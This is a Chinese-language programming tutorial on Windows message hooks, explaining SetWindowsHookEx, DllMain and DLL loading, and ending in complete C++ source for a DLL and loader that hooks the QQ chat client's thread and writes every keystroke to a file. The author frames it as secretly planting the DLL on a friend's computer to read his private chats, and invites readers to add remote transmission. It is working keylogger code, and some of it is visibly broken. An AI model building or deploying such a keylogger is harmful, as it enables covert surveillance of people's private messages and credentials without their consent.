一、消息hook的定义
消息 Hook(Message Hook)是一种编程技术,用于拦截、监视和处理计算机程序中传递的消息或事件。它通常用于操作系统、图形界面框架、应用程序框架等软件系统中,允许开发人员在特定的事件发生时执行自定义代码。
消息 Hook 的基本原理是通过注册回调函数或钩子函数来捕获特定类型的消息或事件。当程序中的消息或事件发生时,操作系统或框架会调用相应的回调函数或钩子函数,并将消息的相关信息传递给它们。开发人员可以在这些函数中编写自己的代码来处理消息,例如修改消息内容、拦截消息传递、记录日志、执行特定操作等。
二、消息hook的主要作用
消息 Hook 的主要作用是在程序执行过程中对消息进行拦截和处理,以实现一些定制化的功能或修改程序的行为。它可以用于实现诸如以下功能:
1)监听和响应用户输入:通过捕获用户输入消息,可以实现键盘快捷键、鼠标点击、滚动等用户交互事件的自定义处理。
2)监视和拦截系统事件:可以拦截操作系统级别的事件,如窗口关闭、系统休眠、屏幕刷新等,以便进行额外的处理或记录。
3)修改和定制应用程序行为:通过拦截和修改应用程序内部的消息,可以实现修改程序的行为,如禁用某些功能、增强某些功能等。
4)日志记录和调试:可以捕获程序中的消息,记录到日志文件中,以便后续的调试和分析。
5)监控和分析程序性能:通过拦截特定的消息或事件,可以实现对程序性能的监控和分析,例如统计函数的调用次数、测量函数执行时间等。
我们都知道Windows操作系统是基于事件驱动的,事件被包装了消息发送给窗口,比如点击菜单,按钮,移动窗口等等,当消息产生的时候,操作系统就会捕捉到这个消息,放到操作系统的系统队列当中,然后OS从这个队列当中取消息,消息结构体当中包含这个消息需要发送给哪个窗口,接着操作系统把这个消息放到这个窗口的消息队列当中,窗口拿到消息之后调用回调函数来处理这个消息。
小结一下消息处理过程:
1)当按下键盘时,会产生一个键盘按下的消息,这个消息首先被加入到系统消息队列
2)操作系统从消息队列中取出消息,添加到相应的程序的消息队列中
3)程序自身通过GetMessage获取消息,DispatchMessage 分发消息,通过消息回调函数处理消息。
(下面的案例有待补充。。。有时间就更新,有人催更也更新)
{
使用Windows API创建窗口案例:
使用Windows API实现A窗口给B窗口发消息
}
hook的实现就是在操作系统把消息放入应用进程的消息队列的时候,对消息进行一个截获,然后调用钩子函数HOOK的处理程序,处理完之后再扔给下一个消息钩子(HOOK)或者直接扔到应用程序的消息队列中。hook实现的一个基础就是我们编写的一个包含钩子的一个dll文件,当这个dll钩住一个线程之后,就会截获这个线程的消息,假如操作系统发现这个包含钩子的dll不在目标进程当中但是它却接收了我发送给目标进程的消息,它就会以为这个dll就是属于该进程,因此就会把dll强制加载到目标进程当中,从而变相实现了dll注入。
注意:HOOK是针对线程的一个概念,它hook的是线程的消息。
下面我们还是通过一个具体的案例来实现消息hook技术:
我们知道啊,从前有一个人叫浮沉,他自带逆向小分队第一深情的头衔,但是他的深情是多线程的,为了防止他沉迷在🚺的世界里而造成身心过度疲惫导致学习效率下降的情况出现,我决定在520这天悄悄在他电脑的学习资料里面加入一个dll文件,用来记录在他QQ上和妹妹的聊天记录,在他聊的火热的时候突然弹出来一个消息框,提醒他不要长时间🎣,这样对身体不好,并告诉他刚刚发的消息我全都看到了,如果他不相信就把我们刚刚钩取到的消息甩在他的脸上,并关掉他的QQ聊天软件,从而实现及时止损的目的,如果大家想学习一下浮沉的聊天技巧的话,还可以自行添加一下两个远程进程通信的功能,实现在线吃瓜的目的。
也就是说我们需要编写一个dll文件,通过消息hook的方式注入到QQ进程当中,以此来捕获你在这个应用进程窗口敲击键盘的消息。
三、知识点补充
在正式开始写项目之前先来解决几个小问题:
1、在switch的case后面不加break可以吗?
在C/C++的switch
语句中,如果在case
分支中不加break
语句,会发生"case 穿透"(fall-through)现象。这意味着当满足某个case
的条件时,程序会继续执行后续的case
分支,而不会跳出switch
语句块,比如:
int value = 2;
switch (value) {case 1:printf("Value is 1\n");break;case 2:printf("Value is 2\n");case 3:printf("Value is 3\n");break;default:printf("Unknown value\n");break;
}
在这个示例中,如果value
的值为2,则会输出以下内容:
Value is 2
Value is 3
这是因为当value
为2时,程序会执行第一个匹配到的case
分支,即case 2
,然后继续执行后续的case
分支,直到遇到break
语句或switch
语句结束。
如果在case 2
的分支中加上break
语句,即case 2:
改为case 2: break;
,那么程序只会执行相应的case
分支,并退出switch
语句。
因此,根据需要和预期的逻辑,可以选择是否在case
分支中加上break
语句。如果希望在满足条件的case
分支后继续执行后续的case
分支,可以不加break
语句;如果希望在匹配到某个case
分支后立即退出switch
语句,需要加上break
语句。
2、LoadLibrary函数深度分析
1)LoadLibrary函数原型:
HMODULE LoadLibrary(LPCTSTR lpFileName);
lpFileName
:一个以null结尾的字符串,指定要加载的DLL文件的路径。可以是绝对路径或相对路径。
2)在哪个进程当中调用LoadLibrary函数,传递的dll文件就会被加载到哪个进程当中去,而且一旦dll文件被加载进来,就会立刻调用DllMain函数(一旦加载就调用,销毁的时候还会调用一次),在DllMain当中还可以指定具体的调用时机,这意味着如果有新的线程创建和销毁同样还会调用这个进程当中的dll的DllMain函数(所有显式加载和隐式加载的dll都会被调用它的DllMain函数),因此DllMain有可能在4种情况下被调用:
DLL_PROCESS_ATTACH:dll文件第一次被进程加载的时候调用
DLL_THREAD_ATTACH:在这个exe当中有新的线程被创建的时候,会由线程再调用一次DllMain
DLL_THREAD_DETACH:进程当中新创建的线程(不是主线程)被销毁的时候调用一次
DLL_PROCESS_DETACH:进程结束的时候调用一次
我们可以根据不同的调用时机,走不同的处理流程。
3)顺便介绍一下dll的两种加载方式:
-
显式加载DLL:进程可以使用
LoadLibrary
函数显式加载指定的DLL文件。这样,当进程调用LoadLibrary
函数时,操作系统会加载并初始化该DLL,并返回一个句柄供进程使用。 -
隐式链接DLL:当进程执行可执行文件时,操作系统会根据可执行文件中的导入表(Import Table)检查所依赖的DLL。然后,操作系统自动加载和初始化这些DLL,并将它们的导出函数与可执行文件中的对应函数进行链接。
HC_ACTION
(0):表示钩子程序需要处理消息。当 code
等于 HC_ACTION
时,钩子函数应该处理接收到的消息,并可以选择返回一个非零值来指示消息已被处理。
3、SetWindowsHookExA
函数介绍
1)参数说明:
idHook
:指定要安装的钩子类型,可以是以下值之一:WH_KEYBOARD
:键盘钩子,用于监视键盘输入事件。WH_MOUSE
:鼠标钩子,用于监视鼠标输入事件。- 其他钩子类型,如
WH_CALLWNDPROC
、WH_CBT
等。具体钩子类型可以查阅相关文档。
lpfn
:指向钩子过程(钩子回调函数)的指针,它负责处理拦截到的事件或消息。hMod
:指定包含钩子过程的DLL模块的句柄。通常可以使用NULL
来指定当前进程的可执行文件作为DLL模块。dwThreadId
:指定要安装钩子的线程标识符。如果为0,则钩子将应用于所有线程。
2)SetWindowsHookExA
函数的工作流程如下:
- 根据
idHook
指定的钩子类型和lpfn
指定的钩子过程,创建一个系统级钩子,并将其安装到系统中。 - 每当系统中发生与钩子类型相对应的事件或消息时,调用钩子过程进行处理。
- 钩子过程可以修改、监视或拦截事件或消息,然后将控制权传递给下一个钩子或目标窗口过程。
3)通过SetWindowsHookExA
函数,我们可以实现以下功能:
- 监视和拦截特定事件或消息,以便进行自定义处理。
- 进行全局的键盘、鼠标等输入事件的监听和拦截。
- 实现系统级的消息处理和行为修改。
4)具体示例:
#include <Windows.h>
#include <stdio.h>// 键盘钩子回调函数
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {if (nCode >= 0) {// 解析键盘事件KBDLLHOOKSTRUCT* pKeyboardStruct = (KBDLLHOOKSTRUCT*)lParam;if (wParam == WM_KEYDOWN) {printf("按下键盘按键,扫描码:%d\n", pKeyboardStruct->scanCode);}}// 继续传递事件给下一个钩子或目标窗口过程return CallNextHookEx(NULL, nCode, wParam, lParam);
}int main() {// 设置键盘钩子HHOOK hKeyboardHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardHookProc, NULL, 0);if (hKeyboardHook == NULL) {printf("无法设置键盘钩子\n");return 1;}// 消息循环,等待键盘事件MSG msg;while (GetMessage(&msg, NULL, 0, 0) > 0) {TranslateMessage(&msg);DispatchMessage(&msg);}// 卸载钩子UnhookWindowsHookEx(hKeyboardHook);return 0;
}
4、使用MessageBoxA打印格式化字符串
》MessageBox
打印格式化字符串,可以使用 sprintf_s
函数将格式化后的字符串存储到一个缓冲区中,然后将该缓冲区的内容作为消息框的文本进行显示。以下是实现这一功能的示例代码:
#include <Windows.h>
#include <stdio.h>void ShowFormattedMessageBox(const char* format, ...)
{char buffer[256];va_list args;va_start(args, format);vsprintf_s(buffer, sizeof(buffer), format, args);va_end(args);MessageBoxA(NULL, buffer, "Formatted MessageBox", MB_OK);
}int main()
{int age = 30;const char* name = "John Doe";ShowFormattedMessageBox("My name is %s and I am %d years old.", name, age);return 0;
}
5、向char类型的数组里写入数据
#include <cstring>int main() {char array[100];const char* source = "Hello, World!";// 使用 strcpy 将字符串复制到数组中strcpy(array, source);// 或者使用 strncpy 设置指定长度的字符串// strncpy(array, source, sizeof(array) - 1);// array[sizeof(array) - 1] = '\0'; // 确保末尾有终止字符return 0;
}
6、strcpy_s的使用
#include <cstring>int main() {char array[100];const char* source = "Hello, World!";// 使用 strcpy_s 将源字符串复制到目标字符数组中strcpy_s(array, sizeof(array), source);return 0;
}
在上述示例中,strcpy_s
函数的第一个参数是目标字符数组的指针,第二个参数是目标字符数组的大小(以字节为单位),第三个参数是源字符串的指针。函数会将源字符串复制到目标字符数组中,并在复制完成后自动添加终止字符 \0
。
需要注意的是,strcpy_s
会根据目标字符数组的大小自动进行边界检查,以防止缓冲区溢出。如果目标字符数组的大小小于源字符串的长度(包括终止字符 \0
),则会触发运行时错误,并返回非零错误码。因此,确保目标字符数组的大小足够大以容纳源字符串是非常重要的。
四、代码的流程介绍
1)首先是使用我们编写的exe作为跳板,把dll文件先加载到exe的进程空间
2)dll加载的时候会调用DllMain,在case DLL_PROCESS_ATTACH添加处理函数,即找到QQ窗口,然后使用SetWindowsHookEx函数来给QQ线程挂钩子
3)一旦我们的dll截获了QQ线程的消息,OS发现dll并没有在QQ进程当中,但是他们却接收同样的消息,就会以为这个dll是属于QQ进程的,就会自动把他加载到QQ进程当中,而dll文件一旦被加载进来了,就相当于是QQ的一份子了,他就可以直接在QQ的内存里调用我们在dll文件当中实现的所有函数了,在这里会调用KeyBoardProc函数来处理消息,从而达到记录键盘的目的。
有一个注意的点就是你想在dll没有卸载的时候查看文件内容的话,需要把共享文件的属性设置为SHRED_READ,来实现跨进程的共享打开。
五、具体案例编写
下面进入激动人心的编码时刻吧!同时再挖一个坑:如何截获消息并修改消息?
今天刚打完球,心情好,玩个花哨的,把保存的聊天记录写在内存映射文件当中,我们都知道这样可以大大提高文件访问的效率,减少启动IO的频率。如果你对内存映射文件不熟悉的话,可以参考我的这篇文章:Windows管理内存的3种方式——堆、虚拟内存、共享内存
以下是完整代码部分:
1)dll文件:
#include "pch.h"
#include<iostream>
using namespace std;
static HMODULE g_hMod = NULL;
static HHOOK g_hHook = NULL;
static LPVOID g_pMappedData = NULL;
static HANDLE g_hFile = NULL;
static HANDLE g_hMapFile = NULL;
#include <Windows.h>
#include <stdio.h>
static int cnt = 0;
#define PAGE_SIZE 1024
#define FILE_NAME "C:\\Desktop\\xxx.txt" //指定你文件的路径static char chatBuf[PAGE_SIZE] = { 0 };//输出格式化字符串
void ShowFormattedMessageBox(const char* format, ...)
{char buffer[256];va_list args;va_start(args, format);vsprintf_s(buffer, sizeof(buffer), format, args);va_end(args);MessageBoxA(NULL, buffer, "Formatted MessageBox", MB_OK);
}BOOL IvGetIthhh() {g_hFile = CreateFileA(FILE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);ShowFormattedMessageBox("文件句柄:%d", (int)g_hFile);if (g_hFile == INVALID_HANDLE_VALUE) {printf("Failed to create file\n");return FALSE;}const DWORD fileSize = GetFileSize(g_hFile,0);// 创建内存映射文件*g_hMapFile = CreateFileMapping(g_hFile, NULL, PAGE_READWRITE, 0, fileSize, NULL);if (g_hMapFile == NULL) {printf("Failed to create mapped file\n");CloseHandle(g_hFile);return FALSE;}// 将文件映射到进程地址空间//最后一个0代表有多大就映射多大g_pMappedData = MapViewOfFile(g_hMapFile, FILE_MAP_ALL_ACCESS, 0, 0,0);printf("g_pMappedData:%d", (int)g_pMappedData);if (g_pMappedData == NULL) {printf("Failed to map view of file\n");CloseHandle(g_hMapFile);CloseHandle(g_hFile);return FALSE;}// 读取内存映射区域的数据//在属于进程的dll当中调用printf会在原进程的控制台输出!因为dll是属于进程的printf("浮沉的QQ聊天记录已经写入文件当中!\n");return 0;
}LRESULT CALLBACK KeyBoardProc(_In_ int code,_In_ WPARAM wParam,_In_ LPARAM lParam
)
{//如果这个消息需要当前的这个钩子函数来处理》if(code>=0)就是需要处理的//lParam & 0x80000000==0的作用就是键盘按下的意思,如果不加的话按下和释放键盘都会触发下面的流程if (code == HC_ACTION && ((lParam & 0x80000000) == 0)){if (cnt == 0) {IvGetIthhh();}BYTE KeyState[256]{ 0 };if (GetKeyboardState(KeyState)){LONG keyinfo = lParam;UINT keyCode = (keyinfo >> 16) & 0x00ff;WCHAR wkeyCode = 0;ToAscii((UINT)wParam, keyCode, KeyState, (LPWORD)&wkeyCode, 0);CHAR strinfo[12] = { 0 };sprintf_s(strinfo, _countof(strinfo), "%c", wkeyCode);在内存映射区域写入数据const char* str = "I love cxk";strcpy_s(chatBuf+(cnt++), sizeof(chatBuf), strinfo);MessageBoxA(0, "okkkkkk", "hhh", MB_OK);if (g_pMappedData == NULL) {MessageBoxA(0, "无效内存", "hhh", MB_OK);return 0;}strcpy_s((char*)g_pMappedData, sizeof(chatBuf), chatBuf);MessageBoxA(0, "ok", "hhh", MB_OK);FlushViewOfFile(g_pMappedData, strlen(chatBuf));return 0;}}//当前钩子函数不处理消息,交给下一个钩子来处理return CallNextHookEx(g_hHook, code, wParam, lParam);
}
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{int x = 0;switch (ul_reason_for_call){case DLL_PROCESS_ATTACH: {MessageBoxA(NULL, "dll调用了", "提示", MB_OK);g_hMod = hModule;HWND hwndQQ = FindWindowA("TXGuiFoundation", NULL);DWORD dwThreadId = GetWindowThreadProcessId(hwndQQ, NULL);if (dwThreadId > 0) {MessageBoxA(0, "找到了QQ窗口", "hh", MB_OK);}g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, g_hMod, dwThreadId);break;}case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH: {UnhookWindowsHookEx(g_hHook);//关闭内存映射文件对象和文件对象UnmapViewOfFile(g_pMappedData);CloseHandle(g_hMapFile);CloseHandle(g_hFile);break;}}return TRUE;
}
2)exe文件:
#include <iostream>
#include<Windows.h>int main()
{HMODULE hModule=LoadLibraryA("keyboard.dll");system("pause");return 0;
}
运行结果截图:
可以看到浮沉的聊天记录已经被同步到文件当中去了~~~😁😁😁